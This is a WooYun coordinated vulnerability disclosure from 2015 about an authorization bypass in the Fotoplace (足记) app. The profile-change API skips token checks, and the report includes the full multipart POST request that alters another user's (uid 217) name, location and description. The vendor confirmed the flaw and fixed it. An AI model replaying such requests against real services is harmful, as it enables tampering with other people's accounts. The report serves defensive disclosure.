当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102835

漏洞标题:足记app任意用户资料修改

相关厂商:fotoplace.cc

漏洞作者: Vern

提交时间:2015-03-30 13:47

修复时间:2015-05-14 13:52

公开时间:2015-05-14 13:52

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经确认,细节仅向厂商公开
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

fotoplace.cc
这两天空间各种足记app的图片 大片即视感 听说足记挺火的 几千万的用户量 然后我就下载了

详细说明:

问题出在修改个人资料处

Screenshot_2015-03-21-14-28-04.png


修改抓包

1.png


token无验证 各种越权操作
找一个用户测试一下

Screenshot_2015-03-21-14-41-42.png


抓包得到这个用户的id

2.png


得到目标用户uid217
提交包修改

POST /api2/user%2Fuser_change_settings.php HTTP/1.1
Content-Type: multipart/form-data; boundary=01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Length: 13069
Host: fotoplace.cc
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/2.3.0
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="version"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary
2.3
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="uid"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary
217
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="token"
Content-Type: text/plain; charset=UTF-8
Content-Length: 64
Content-Transfer-Encoding: binary
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="userName"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary
testwooyun
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="location"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary
test by wooyun
--01f905f0-8933-45d5-8f64-eed54d9ee2b8
Content-Disposition: form-data; name="description"
Content-Type: text/plain; charset=UTF-8
Content-Length: 5
Content-Transfer-Encoding: binary
test hahaha by wooyun
--01f905f0-8933-45d5-8f64-eed54d9ee2b8


3.png


返回成功

Screenshot_2015-03-21-14-47-32.png


修改目标用户信息成功(包括头像 用户名 签名)

漏洞证明:

Screenshot_2015-03-21-14-41-42.png


Screenshot_2015-03-21-14-47-32.png

修复方案:

各种验证

版权声明:转载请注明来源 Vern@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-30 13:51

厂商回复:

已经加上token验证, 多谢Vern的发现.

最新状态:

暂无